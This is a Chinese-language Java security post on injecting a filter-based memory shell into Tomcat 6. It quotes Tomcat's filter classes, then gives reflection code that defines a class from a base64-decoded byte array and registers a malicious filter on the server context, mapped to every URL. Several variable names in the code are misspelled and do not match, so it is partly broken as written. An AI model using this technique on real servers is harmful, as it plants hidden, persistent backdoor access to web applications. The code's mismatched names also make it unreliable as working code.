Java安全之Tomcat6Filter内存马问题

ApplicationFilterConfig(Context context, FilterDef filterDef) throws ClassCastException, ClassNotFoundException, IllegalAccessException, InstantiationException, ServletException, InvocationTargetException, NamingException, IllegalArgumentException, NoSuchMethodException, SecurityException {
        this.context = context;
        this.filterDef = filterDef;
        if (filterDef.getFilter() == null) {
            this.getFilter();
        } else {
            this.filter = filterDef.getFilter();
            this.getInstanceManager().newInstance(this.filter);
            this.initFilter();
        }

    }

public class FilterDef implements Serializable {
    private static final long serialVersionUID = 1L;
    private static final StringManager sm;
    private String description = null;
    private String displayName = null;
    private transient Filter filter = null;
    private String filterClass = null;
    private String filterName = null;
    private String largeIcon = null;
    private final Map<String, String> parameters = new HashMap();
    private String smallIcon = null;
    private String asyncSupported = null;

    public FilterDef() {
    }

public class FilterMap extends XmlEncodingBase implements Serializable {
    private static final long serialVersionUID = 1L;
    public static final int ERROR = 1;
    public static final int FORWARD = 2;
    public static final int INCLUDE = 4;
    public static final int REQUEST = 8;
    public static final int ASYNC = 16;
    private static final int NOT_SET = 0;
    private int dispatcherMapping = 0;
    private String filterName = null;
    private String[] servletNames = new String[0];
    private boolean matchAllUrlPatterns = false;
    private boolean matchAllServletNames = false;
    private String[] urlPatterns = new String[0];

Method var1 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
var1.setAccessible(true);
byte[] var2 = base64decode("base64 str");
var1.invoke(Thread.currentThread().getContextClassLoader(), var2, 0, var2.length);

try {
          
  if (STANDARDCONTET != null) {
    // 1 反射获取filterDef
    Class FilterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef");
    Constructor FilterDefconstructor = FilterDefClass.getConstructor(new Class[]{});
    Object filterDef = FilterDefconstructor.newInstance();

    // 2 设置filtername
    Method setFilterNameMethod = FilterDefClass.getDeclaredMethod("setFilterName", String.class);
    setFilterNameMethod.invoke(filterDef,filterName);

    // 3 setFilterClass
    Method setFilterClaSSMethod = FilterDefClass.getDeclaredMethod("setFilterClass", String.class);
    setFilterClassMethod.invoke(filterDef,Thread.currentThread().getContextClassLoader().loadClass("HiganbanaFilter").getName());

    // 4 addFilterDef
    Method addFilterDef=STANDARDCONTET.getClass().getMethod("addFilterDef", FilterDefClass);
    addFilterDef.invoke(STANDARDCONTET,filterDef);

    // 构造FilterMap
    Class FilterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap");
    Object filterMap =  FilterMapClass.newInstance();

    Method setFilterNameMethod2 = FilterMapClass.getDeclaredMethod("setFilterName", String.class);
    setFilterNameMethod2.invoke(filterMap,FilterDefClass.getDeclaredMethod("getFilterName").invoke(filterDef));
    Method setDispatcherMethod = FilterMapClass.getDeclaredMethod("setDispatcher", String.class);
    setDispatcherMethod.invoke(filterMap,"REQUEST");
    Method addURLPatternMethod = FilterMapClass.getDeclaredMethod("addURLPattern", String.class);
    addURLPatternMethod.invoke(filterMap,"/*");

    Method addFilterMapMethod=STANDARDCONTET.getClass().getDeclaredMethod("addFilterMap", FilterMapClass);
    addFilterMapMethod.invoke(STANDARDCONTET,filterMap);

    // 创建filterconfig 并添加到standardcontext.filterconfigs数组里
    Class filterConfiGClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
    Constructor filterConfigCon = filterConfigClass.getDeclaredConstructor(Class.forName("org.apache.catalina.Context"), Class.forName("org.apache.catalina.deploy.FilterDef"));
    filterConfigCon.setAccessible(true);
    // 实例化ApplicationFilterConfig时触发getFilter方法
    Object filterConfiGobj = filterConfigCon.newInstance(STANDARDCONTET, filterDef);

    Field filterConfigsField = STANDARDCONTET.getClass().getDeclaredField("filterConfigs");
    filterConfigsField.setAccessible(true);
    HashMap filterConfigsMap = (HashMap) filterConfigsField.get(STANDARDCONTET);
    filterConfigsMap.put(filterName, filterConfigObj);

  }


} catch (Throwable var16) {
  var16.printStackTrace();
}